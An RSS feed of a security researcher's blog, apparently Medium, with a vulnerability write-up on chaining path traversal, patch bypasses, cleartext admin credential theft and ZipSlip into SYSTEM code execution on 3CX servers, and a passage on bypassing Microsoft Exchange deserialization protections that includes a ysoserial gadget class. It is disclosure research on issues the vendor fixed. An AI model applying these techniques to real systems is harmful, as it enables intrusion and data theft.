<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by frycos on Medium]]></title>
        <description><![CDATA[Stories by frycos on Medium]]></description>
        <link>https://medium.com/@frycos?source=rss-90c5e63ec10------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*zmXukZJrN0cAbOpK2oSs9Q.jpeg</url>
            <title>Stories by frycos on Medium</title>
            <link>https://medium.com/@frycos?source=rss-90c5e63ec10------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 17:49:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@frycos/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Bye Bye medium.com]]></title>
            <link>https://medium.com/@frycos/bye-bye-medium-com-8026b2a4291a?source=rss-90c5e63ec10------2</link>
            <guid isPermaLink="false">https://medium.com/p/8026b2a4291a</guid>
            <dc:creator><![CDATA[frycos]]></dc:creator>
            <pubDate>Tue, 24 May 2022 22:06:54 GMT</pubDate>
            <atom:updated>2022-05-24T22:06:54.949Z</atom:updated>
            <content:encoded><![CDATA[<p>No more medium.com in the future. I’ll publish my new blog posts <a href="https://frycos.github.io/">here instead</a>…see you there.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8026b2a4291a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pwning 3CX Phone Management Backends from the Internet]]></title>
            <link>https://medium.com/@frycos/pwning-3cx-phone-management-backends-from-the-internet-d0096339dd88?source=rss-90c5e63ec10------2</link>
            <guid isPermaLink="false">https://medium.com/p/d0096339dd88</guid>
            <category><![CDATA[unauthorized-access]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <dc:creator><![CDATA[frycos]]></dc:creator>
            <pubDate>Wed, 30 Mar 2022 22:01:22 GMT</pubDate>
            <atom:updated>2023-01-30T22:11:54.948Z</atom:updated>
            <content:encoded><![CDATA[<p>After an <a href="https://medium.com/p/searching-for-deserialization-protection-bypasses-in-microsoft-exchange-cve-2022-21969-bfa38f63a62d">unplanned journey with Microsoft Exchange</a> the month before, I started to look for new interesting vulnerability research targets for February: widely used, usually reachable from Internet perimeter and hopefully not so much targeted by other security researchers.</p><p>What I found was the <strong>3CX Phone Management System</strong>. According to the <a href="https://www.3cx.com/phone-system/">vendor’s website</a>, this piece of software can be deployed On-premise. Supported operating systems range from Linux and Windows to Raspberry Pi, so I (randomly) chose the Windows version. This software is used as an one-for-all solution of collaborative communication. All the company names referenced at their website made me feel confident that it is widely used indeed. Let’s check Shodan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*Nny6GncguL4fO-fhKna0Ig.png" /></figure><p>Well, this seems to be a good candidate. Even though, according to the vendor (private communication) a majority of systems run the Linux version, I didn’t really change my target operating system since it was all set up already. On top of this, a short scan over a random sample revealed <strong>quite a number of Windows installations</strong>, too <strong>(Update 1st April, 2022: vendor speaks of tens of thousands of Windows instances)</strong>. Another <strong>Update 10/2022</strong>: excerpt from my personal communication with 3CX.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*x2sIuYxqaSlFsVzONbLbiQ.png" /></figure><p>Let’s hunt for some <strong>Pre-Auth Remote Code Execution</strong> bugs.</p><p>The next two screenshots show my recently set up 3CX Phone Management System with the web interface(s) easily detectable and fingerprinted. First, the management console itself</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*XMC4fRuV-nx_D9FibnuebQ.png" /></figure><p>and also a user-friendly <a href="https://www.3cx.com/blog/unified-communications/client-apps/">web client</a> for the end user (there is also a vulnerability here, an exercise for the reader)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*z0g4e5rkMXPxfw3eSda_fQ.png" /></figure><p>First, let’s check the technology stack for this product. The default installation on Windows goes to C:\Program Files\3CX Phone System\. Seeing several nginx (worker) processes running, I search for the nginx.conf which is found in Bin\nginx\conf\. Two upstream definitions catch our eyes:</p><pre>upstream gateway {<br> server 127.0.0.1:5008;</pre><pre> keepalive 100;<br> }</pre><pre>upstream mc {<br> server 127.0.0.1:5004;</pre><pre> keepalive 100;<br> }<br></pre><p>The processes listening on these ports are hit by every incoming HTTP request dispatched according to their definitions typically based on their route (mapped by the URI path). 3CXManagementConsole.exe and 3CXGatewayService.exe can be easily identified with the <em>SysInternals TCPView</em> tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*EJoB6ygL-inlQnI7oTIm5A.png" /></figure><p>Also nice to see that these processes are running in the context of <strong>NT AUTHORITY\SYSTEM</strong> giving us maximum impact if successful.</p><p>The nginx.conf directive proxy_pass <a href="http://mc`/">http://mc</a> belonging to the location @proxy definition therefore targets the process listening on 127.0.0.1:5004: 3CXManagementConsole.exe. We target this first because the @proxy variable is also used as fallback processor for all kinds of URI path matches. Therefore, we assume the attack surface could be maximized by first focusing on this part of the code.</p><p>Attaching to the process and loading all modules in <em>dnSpy</em>, let’s look where we can find the routing definitions with its corresponding business logic. The 3CXManagementConsole.dll holds a lot of easily identifiable <strong>Controller</strong> classes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*-1PpB08zwG_RtOy8EbnScQ.png" /></figure><p>Searching for .asp or .aspx files on the other hand will fail because we’re dealing with an <strong>ASP .NET Core MVC</strong> web application here (keep this in mind for the RCE part). The RouteAttribute tells you which URI path is handled by which code in the .NET assemblies. The [controller] placeholder simply means that the controller class name (without the word <em>controller</em>) has to match. E.g. the ActivityLogController matches for URIs like /api/ActivityLog/.</p><p>Targeting <strong>unauthenticated endpoints</strong> in .NET often means enumeration of route definitions annotated by the AllowAnonymousAttribute. There are several (such as for login of course) but we’re especially interested in the class ManagementConsoleJS.Provisioning.ElectronController.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*tvKTLRw9JiwCpBfg4OuiGw.png" /></figure><p>The Download method reachable via /download/{platform}/{file} has two user-controlled variables. As the name ElectronController in combination with /download might already indicate, there exist <em>fat client</em> apps for different Desktops which could be downloaded via this API call, so you don’t have to rely on the web interface exclusively to use 3CX functions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*QdlJjRaV_67ES3H1KzVTTw.png" /></figure><p>There exists a directory C:\ProgramData\3CX\Instance1\Data\Http\electron which holds e.g. a Windows MSI installer file 3CXDesktopApp-18.7.10.msi as expected.</p><p>The interesting code part is shown next where your user-controlled parameters are processed further:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*sxVBnnfNuDSC1BEfJfhVRw.png" /></figure><p>The platform parameter ends in ManagementConsoleJS.Services.ElectronService.GetEAppPlatform(string platform) choosing the proper root directory by matching your input accordingly and assigning an Enum value. That’s the boring part.</p><p>The preceding GetUpdatePackagePath(string platfrom, string fileName) in the same namespace uses a Path.Combine(…) call to retrieve the final file name on disk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*Ok9Zpbx3dH4KhCM2hctt4w.png" /></figure><p>This should immediately ring your alarm bells. <strong>”Relative Path Traversal”</strong> you might think and indeed it is. And this is why it becomes really handy working on the Windows installation, but why? Because nginx in default configuration might bring you in trouble with getting your path traversal payloads through the reverse proxy component if using / as URI segment separator. You could try this with encoding, double encoding, different encoding schemes, ..; (I know this doesn’t make sense here!) tricks etc. but you will probably fail <em>in this case</em>.</p><p>Luckily, Windows uses \ as directory character separator and nginx kindly forwards this for you “as is”. The proof-of-concept is therefore easy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fhdl-CWaaRhA6VOHqB0XeA.png" /></figure><p>But there are restrictions. We can traverse up to C:\ProgramData\3CX\Instance1\Data but not any further because nginx will return a 400 Bad Request if you try (don’t ask me why). Being restricted to this directory (with all its subdirectories of course) is not cool enough but still you’re able to read credentials (as shown in the screenshot above), chat logs, listen to call recordings or even download full backups of the 3CX installation. <em>This is bad enough for sure!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*IJmOTgm_R6iwbaTrjuaanw.png" /></figure><p>So, I submitted the bug as <strong>Pre-Auth Relative Path Traversal File Read</strong> to the vendor which was fixed a few days after in <strong>3CX Version 18, Update 2 Security Hotfix, Build 18.0.2.315 February 2022</strong> (see <a href="https://www.3cx.com/blog/change-log/phone-system-change-log/">change log</a>).</p><p>Let’s see how they fixed it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*n0ed96F9SHy_zXKo9CPyZA.png" /></figure><p>They introduced a check named Utilities.IsVulnerablePath(file) on our controllable parameter file. What does it do?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vHVR3FuhVj4hFRS6pkrUBw.png" /></figure><p>The classical checks for .. but also <strong>Absolute Path Traversal</strong> for strings containing :\\ etc. So I wonder what Path.Combine is really doing under the hood:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*BY5FVspa4wE_RKIqo3gi7w.png" /></figure><p>Looking deeper into the branch with Path.IsPathRooted(…)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*64YFzU6XWZE9PCv-FNvgvA.png" /></figure><p>there is a check for PathInternal.IsDirectorySeparator((char)(*path[0]))) which would result in <strong>a rooted path segment</strong> evaluated to true. Then <strong>only the second parameter</strong> to the Path.Combine method is returned. This should work then with a path segment like \Windows\win.ini, shouldn’t it? It did.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SDe6jrn79eE1UI86qn3MIw.png" /></figure><p>We had a <strong>bypass for the patch</strong>. But this time, we want it all: <strong>remote code execution</strong>.</p><p>After getting rid of the relative path traversal depth restriction by abusing an absolute path traversal and the process still running as SYSTEM, we should basically be able to read <strong>all files</strong> on the file system, right?</p><p>The underlying database is <em>PostgreSQL</em> and database files are located at C:\Program Files\3CX Phone System\Data\DB. We connect to the database and check for valuable data such as credentials. There seems to be a customers table which holds the admin credentials, in <strong>cleartext</strong>. Great!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*POEoFrcKAlv6GwhH4Z0SXg.png" /></figure><p>A simple grep for the credentials on the file system reveals the corresponding file with customers table content. Since this table is not part of continuous processing, no file-based locking has to be expected most of the time. Therefore, using our new pre-auth absolute path traversal we try to simply read the database file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*73MZdcRBZZoCOCbq-nJLrg.png" /></figure><p>Access granted! But do we have to brute-force the directory and file name IDs? Let’s have a look in the official documentation of PostgreSQL instead. The base directory indeed seems to be the right place to search for database table content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*M0ZMRay1zQmubhj-67nI9Q.png" /></figure><p>The directory and file names are related to so called <strong>OIDs</strong> generated by PostgreSQL during operation. Do you spot the 16384 in the screenshot below? This sounds familiar, doesn’t it? 16384 exactly matches the directory name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qbSwk-etsD-T_awY5UhlZA.png" /></figure><p>And because the customers table was created during installation in a probably early stage, the range of OIDs we’d have to guess is probably really, really, really small. Or maybe <strong>even static</strong>, since we completed several independent installations with the same OID outcome every time, namely 16393 for the customers table. Not a lot to guess here probably.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*KHuZEiyIdBnI9lqEwhMVWA.png" /></figure><p>Now, we got administrator credentials for the web interface. We could focus on finding a <strong>post-auth RCE</strong> from now on. And there are plenty of solutions for it but I only show you one in this blog post. <a href="https://www.3cx.com/docs/manual/cfd-components/">Here</a> is some extra information if you want to find alternative RCEs.</p><p>Alright, we’re logged in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oe8S9ei4e90ebzTSiQLvAw.png" /></figure><p>and search for diagnostic functions, upgrade possibilities, anything which could help us to achieve remote code (or command) execution.</p><p>Clicking through various functions, the <strong>Call Flow Apps</strong> menu catches our attention. This function allows something like pre- and post-processing of incoming calls, forwarding, playing recorded messages etc. And for customization we of course can <strong>upload a ZIP file</strong> containing such a Call Flow App.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qBP1u4QUbnTac8TRHfL9wQ.png" /></figure><p>So let’s again look into the code with <em>dnSpy</em> targeting the CallFlowAppsController.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*MVQXUT_a-jCjKMoHIgOWtg.png" /></figure><p>We can find code for POST request handling which basically processes a multipart form upload request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*I4AtGNrk8rNvK_I44y3mzg.png" /></figure><p>It checks for things like .zip file extension, a properly structured manifest.xml and more. I won’t go through all the code but one can “reverse engineer” the expected file structure easily from there.</p><p>In the end, we have an ExtractToFile call with (you might guess it) a Path.Combine operating on the ZIP file entries. Why not finding another path traversal issue for RCE as well? Sounds like a <strong>ZipSlip </strong>thing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*n5B2VZvCkSOW02zb_t6R4Q.png" /></figure><p>Alright, without checking any further code we build a dummy zip file with relative path segment entries and all the expected directories and files to be called a <em>Call Flow App</em>. Since we’re lazy, bash is our friend on constructing the zip file with a final pinch of ghex to adjust the directory character separator accordingly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9pxMoT4-5SwGZ42X6bfZoQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*CApX0Pp1-pYZvvU3t3oGlQ.png" /></figure><p>We are SYSTEM, right? So let’s try to write a HACKED.txt file into C:\Windows\system32. Obviously you’d have to adjust the paths from the screenshot above accordingly to get the result shown next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*zC4TlgAaLjCcw27_ptFbzQ.png" /></figure><p>It worked! This basically means <strong>“Game Over”</strong>. Since we want to stay within the 3CX application to avoid any operating system specific conditions, a search for calls on various prototypes of System.Diagnostics.Process.Start is done next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*UER9-n9KDq3j-whtnTbbYw.png" /></figure><p>The RenewCertificates method starts a Windows binary named pbxconfigtool.exe with some parameters we’re not interested in. Short remark: you might spot the operating system specific if-else part. And yes, the .NET code also runs on Linux installations!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*yDKJryXngImFOCL5N51y7Q.png" /></figure><p>The CloudServicesWatcher.exe process is <strong>running by default</strong> and the code indicates that the binary will be executed every <em>6 hours</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ltt171IrJ0xoOXXWD4L6fw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*y40E4VOU5Teln0bmTh84fg.png" /></figure><p>The chain for <strong>Pre-Auth RCE as SYSTEM</strong> ends with overwriting the PbxConfigTool.exe with a binary (beacon please?) packed into the uploaded zip file thanks to the ZipSlip vulnerability described above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*duAdmzpk4mbzwzChoFkN5w.png" /></figure><p>From a red team perspective, seemingly unrelated prolonged chronological (malicious) actions are harder to correlate. Also, this works as a kind of (temporary) persistence mechanism as long as the .exe file won’t be overwritten again (e.g. during an upgrade procedure).</p><p>The patch bypass was fixed by 3CX in the <strong>3CX Version 18, Update 3 FINAL, Build 18.0.3.450 February 2022</strong> release with a corresponding <a href="https://www.3cx.com/blog/releases/v18-update-3-final/">blog post</a> published on March 1st, 2022.</p><p><strong>That’s it for this blog post. I hope you enjoyed it and happy pwning/bug hunting…oh wait a minute.</strong></p><p>We didn’t check the patch for the latest version, yet. A few weeks from now, I created this blog post in draft mode and it was ready to be published any time. But did they really follow my recommendation by using something like Path.GetFullPath(location).StartsWith to resolve the full path first before doing any other operations? Let’s check again.</p><p>IsVulnerablePath(string path) still exists and it was extended by || path.StartsWith(“\\”, StringComparison.Ordinal). This indeed kills my latest Patch Bypass.</p><p>What about <strong>other cases</strong> where we might achieve the second part of Path.Combine being interpreted as <strong>rooted path</strong>? Let’s look again at the .NET system library code: what you already know and what we abused for the first Patch Bypass was PathInternal.IsDirectorySeparator((char)(*path[0])).</p><p>What I didn’t mention (and didn’t pay attention to first) was the second operator of the logical or term being</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*1zEN68jDwSjDEOTnvXt_Bw.png" /></figure><p>So beginning with a <em>drive character</em> followed by a colon also leads to an “is rooted” condition. Comparing this to the 3CX IsVulnerablePath function, we only have partial matches, e.g. path.Contains(“:\\”, StringComparison.Ordinal). So we googled for other “fancy Windows path formats” and found <a href="https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats">this in the Microsoft .NET documentation</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*zfpas9VkQ0DgsDC1aCvESQ.png" /></figure><p>It describes exactly one special case for which we can use drive letter + colon <strong>without a following backslash</strong>. This case is even described in more detail in the blue box of the documentation with a clear warning:</p><blockquote>Use of the second form when the first is intended is a common source of bugs that involve Windows file paths.</blockquote><p>So let’s check the <strong>current directory</strong> because this is a <strong>relative path format</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*W-Pe-3HHbMhz6Ilz3hTXlg.png" /></figure><p>Does this mean we can again bypass the latest patch with this trick? Turns out, yes, we can.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CjgCukNO3OiAhD3_g0_9Aw.png" /></figure><p>So, we’re able to read any file under C:\Windows\System32 (and its subdirectories) as NT AUTHORITY\SYSTEM from <strong>an unauthenticated context</strong> which is bad…again. At least I cannot think of using this for the same RCE chain described above. This was fixed with <strong>3CX Version 18, Hotfix 1, Build 18.0.3.461 March 2022</strong> and at the time looks good to me.</p><p>Finally, the blog post ends, for now. <strong>No CVE(s), no logo, no website…just like that. </strong>¯\_(ツ)_/¯</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d0096339dd88" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Searching for Deserialization Protection Bypasses in Microsoft Exchange (CVE-2022–21969)]]></title>
            <link>https://medium.com/@frycos/searching-for-deserialization-protection-bypasses-in-microsoft-exchange-cve-2022-21969-bfa38f63a62d?source=rss-90c5e63ec10------2</link>
            <guid isPermaLink="false">https://medium.com/p/bfa38f63a62d</guid>
            <dc:creator><![CDATA[frycos]]></dc:creator>
            <pubDate>Wed, 12 Jan 2022 21:52:34 GMT</pubDate>
            <atom:updated>2022-08-10T21:00:48.056Z</atom:updated>
            <content:encoded><![CDATA[<p>This story begins with a series of fails, but why? That is because of my special relationship with the Microsoft Exchange codebase. Basically, I look at code in two different ways:</p><ol><li>Either I’m not primarily interested in finding vulnerabilities but rather want to learn about coding styles, architectures, technology stacks etc.</li><li>or I’m definitely interested in finding security flaws!</li></ol><p>Looking at a huge codebase like Microsoft Exchange usually is driven by my first approach. It’s nice to look at smaller projects but learning different kinds of patterns (and anti patterns) characteristic for e.g. a certain programming language is only possible by looking at the giants.</p><p>Being in love with deserialization flaws for a while now, and Microsoft Exchange having a history with such issues, I try to track different publicly available vulnerabilities of this type closely.</p><p>From time to time there seems to be a chance to find some new vulnerability by accident. I thought this would be one of them (which it was [first] not!).</p><p>Several years ago, <a href="https://www.youtube.com/watch?v=Xfbu-pQ1tIc">talented researchers discovered</a> that rebuilding an object from a serialized representation could lead to dangerous behavior such as Remote Code Execution (RCE). One of these well-known sinks in .NET are Deserialization calls from “unprotected” Formatters such as the BinaryFormatter.</p><p>Having installed various versions of Microsoft Exchange, one of my journeys took me to the (supposedly) latest version of Exchange 2016. Searching for various Formatter calls brought me to Exchange <strong>Rpc</strong> functions which some of you might know from <a href="https://docs.microsoft.com/en-us/exchange/troubleshoot/administration/rpc-over-http-end-of-support">Outlook Anywhere</a> or tools like <a href="https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/">exchanger.py</a> (“RPC over HTTP v2<em>”)</em>. Instead of using human-readable HTTP requests for communication between client and Exchange server backend, a binary protocol created by Microsoft could (and is still) used for this purpose.</p><p>So, this is what I found by looking at Rpc functions with deserialization in mind. The class Microsoft.Exchange.Rpc.ExchangeCertificates.ExchangeCertificateRpcServeroffered several function prototypes, probably callable via the /rpc endpoints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*GUzMCFme5DIrpSTOqRFi8Q.png" /></figure><p>The Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServer class then implemented the prototypes accordingly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DKitPAn6bkTiydAwhZncMg.png" /></figure><p>Taking the method parameter byte[] inputBlob in one of these functions as e.g. ImportCertificate(int version, byte[] inputBlob, SecureString password) brought us to the implementation in Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServerHelper .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iwlJn9go-oMKg9YD0XvshQ.png" /></figure><p>Here, the constructor of Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc was called.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bhrvXks0Y3EqWSDC1FCsxw.png" /></figure><p>The method call DeserializeObject(inputBlob, false) reached the dangerous sink in the same class</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*-CMK-EelXNg4pigEBNrTWQ.png" /></figure><p>with a BinaryFormatter deserializing the byte[] inputBlob (here byte[] data ) without using a proper SerializationBinder or any other kind of protection. This could lead to RCE with payloads generated from <a href="https://github.com/pwntester/ysoserial.net">ysoserial .NET</a>.</p><p>Several problems had to be faced next:</p><ol><li>How can I reach the sink with a properly controlled inputBlob byte array?</li><li>Do I have to refactor this ugly binary format? (Hint: I’m not good at this!)</li><li>How could it be that nobody else targeted this part already (successfully)?</li></ol><p>To cut a long story short, question 3 was answered almost immediately by myself realizing that I totally failed on patching the Exchange installation to the latest version. I thought that I did, but didn’t properly. At this moment, a feeling of anger came over me because this was not the first time I “rediscovered” old findings. But hear me when I say: one learns a ton of new things during every phase of (re)discovery and this is what finally counts as well. Sometimes you might even <a href="https://mobile.twitter.com/frycos/status/1359602326814797825">rediscover silently patched vulnerabilities</a>.</p><p>But this was not the end. We did indeed find some interesting things after we properly patched the server to <strong>Exchange 2016 CU22 (with latest November patches KB5007409).</strong></p><p>Before you continue reading my article, you should read <a href="https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852">this article</a> by <a href="https://twitter.com/peterjson">Peter Json</a> and <a href="https://twitter.com/testanull">Jang</a> first, all of it. The ideas for almost everything what’s coming next is based on their work (and I love the nDay research articles by these guys btw!).</p><p>So back to work, I realized that this fully patched Exchange also shipped the class Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc with its method DeserializeObject(byte[] data, bool customized) to deserialize the same kind of stuff mentioned above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jpv2Ac_iH0RIWRfAPTgPVQ.png" /></figure><p>A very similar code path as described above could be tracked in this fully patched version to Microsoft.Exchange.Rpc.ExchangeCertificate.ExchangeCertificateRpcServer prototypes again such as ImportCertificate(int version, byte[] pInBytes, SecureString password).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-woS-SNgto8sy4OnaS0XDQ.png" /></figure><p>The <strong>newly introduced </strong>Microsoft.Exchange.Diagnostics.ChainedSerializationBinder was already discussed in the nDay research article about CVE-2021–42321 by Jang and Peter Json (again, read it!).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gDX7jS44wUBqGY0PIyySYw.png" /></figure><p>As Jang and Peter explained in great detail, there were several conditions for which a malicious payload could be deserialized nevertheless:</p><ol><li>The strictMode has to be set to False</li><li>The fully qualified assembly names in the [nested] payload object must not match any member of the <strong>deny list</strong> defined in Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.GlobalDisallowedTypesForDeserialization which basically kills all publicly known .NET deserialization gadgets from ysoserial .NET</li></ol><p>As pointed out in their article, for CVE-2021–42321 the “bypass” was pretty much straight forward because</p><ol><li>strictMode was not set and therefore False by default</li><li>The deny list had a typo for one of the well-known gadgets and other famous gadgets were missing, too</li></ol><p>Since this was of course fixed in my patched Exchange instance, I wanted to look at our Rpc deserialization code again. Interestingly, all “secured” BinaryFormatter instances were created from the factory ExchangeBinaryFormatterFactory.CreateBinaryFormatter(...) (see first image of this paragraph above) using a certain entry of the <strong>Enum</strong> Microsoft.Exchange.Diagnostics.DeserializationLocation as input parameter for strictModedetermination. To prove if our first condition strictMode = False held for the Rpc sources, I wrote a quick and dirty program and executed it on my Exchange server.</p><pre>using Microsoft.Exchange.Data.Serialization;<br>using Microsoft.Exchange.Diagnostics;<br>using System;<br><br>namespace ExchangeStrictModeCheck<br>{<br>    class Program<br>    {<br>        static void Main(string[] args)<br>        {<br>            bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.ExchangeCertificateRpc);<br>            Console.WriteLine(&quot;ExchangeCertificateRpc - strictMode = &quot; + strictModeStatus);<br><br>            Array values = Enum.GetValues(typeof(DeserializeLocation));<br>            foreach (DeserializeLocation val in values)<br>            {<br>                Console.WriteLine(val + &quot; strictMode = &quot; + Serialization.GetStrictModeStatus(val));<br>            }<br>        }<br>    }<br>} </pre><p>Indeed, the value for ExchangeCertificateRpc was set to False. The code above not only returned the value for this specific Enum entry evaluation but in a second step iterated over <strong>all Enum entries</strong>. Here is an excerpt of the output:</p><pre>...<br>ExchangeCertificateRpc - strictMode = False<br>Unclassified strictMode = False<br>Test strictMode = False<br>Hygiene_CacheSerializer strictMode = False<br>TopologyDiscovery strictMode = False<br>UmCore_PipelineContext strictMode = False<br>UmCommon_Serialization strictMode = False<br>SharepointNotification strictMode = False<br>SwordFish_AirSync strictMode = False<br>SwordFish_UserGroup strictMode = False<br>SwordFish_Extensions strictMode = False<br>ModelItemCacheObject strictMode = False<br>TopNConfiguration strictMode = False<br>TopNData strictMode = False<br>GroupProvider strictMode = False<br>SubscribeListHelper strictMode = False<br>NormalizationCache strictMode = False<br>ClientExtensionCollectionFormatter strictMode = True<br>...</pre><p>Reading the whole output carefully revealed that <strong>only 11 out of 94 values</strong> led to strictMode being set to True . Well, that means that the vast majority of entries equalled False and therefore “bypass condition 1” was met for a lot of cases <strong>by design</strong>.</p><p>Next, “bypass condition 2” turned out to be a bit more tricky because the incomplete deny list leading to CVE-2021–42321 was adjusted accordingly. What if one could find another gadget not being part of this deny list? Did I have to find fancy chains, i.e. really new RCE gadgets? No, I did not because <strong>bridge gadgets</strong> totally should work fine as well (look for GadgetTypes.BridgeAndDerived in ysoserial .NET).</p><p>I contributed such a <a href="https://github.com/pwntester/ysoserial.net/pull/97">gadget to ysoserial .NET myself</a> some time ago but unfortunately this was part of the deny list, too.</p><p>Let’s again start with a failed attempt. Driven by <a href="https://twitter.com/steventseeley">Steven</a>’s work on an XXE in current Exchange versions (see <a href="https://srcincite.io/advisories/src-2020-0031/">CVE-2020–17141</a>), maybe I could find a bridge gadget resulting in an XXE sink (everybody concentrates on instant RCE stuff, right?).</p><p>The assembly System.Windows.Forms.TableLayoutSettings (available in GAC, so this is “universal” and not Exchange specific) implemented a Serialization constructor as well as <strong>a custom TypeConverter</strong> (for some awesome research dealing with TypeConverters, read <a href="https://blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf">this white paper</a>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*hmPeZdZKPfVXwINcq8jSdw.png" /></figure><p>During deserialization the SerializationInfo parameter originating from the serialized object contained a string named SerializedString . Furthermore, the converter.ConvertFromInvariantString(@string) call hit a sink in the ConvertFrom method in System.Windows.Forms.Layout.TableLayoutSettingsTypeConverter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*-HxmS21ZHAHFJlLwZ0zkbg.png" /></figure><p>In the end, the SerializedString finally reached the XmlDocument.loadXml(string) sink which could trigger XXE. One could simply write a ysoserial .NET gadget for payload creation. The relevant part would look like this:</p><pre>[Serializable]<br>    public class TableLayoutSettingsMarshal : ISerializable<br>    {<br>        public TableLayoutSettingsMarshal(string payload)<br>        {<br>            Payload = payload;<br>        }<br>        private string Payload { get; }<br>        public void GetObjectData(SerializationInfo info, StreamingContext context)<br>        {<br>            info.SetType(Type.GetType(&quot;System.Windows.Forms.TableLayoutSettings, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&quot;));<br>            info.AddValue(&quot;SerializedString&quot;, Payload);<br>        }<br>    }</pre><p>Feel free to implement the missing code and make a pull request to the ysoserial .NET project. This is a nice exercise.</p><p>As it turned out, my former doubts turned out to be valid: <a href="https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xmldocument">XXE with .NET framework</a> &lt; 4.5.2 is tricky, mostly impossible, sometimes possible with “unlucky” XmlResolver implementations etc. So this was not applicable for this latest Exchange 2016 version.</p><p>But then I remembered and <a href="https://twitter.com/frycos/status/1316832323703386116">old 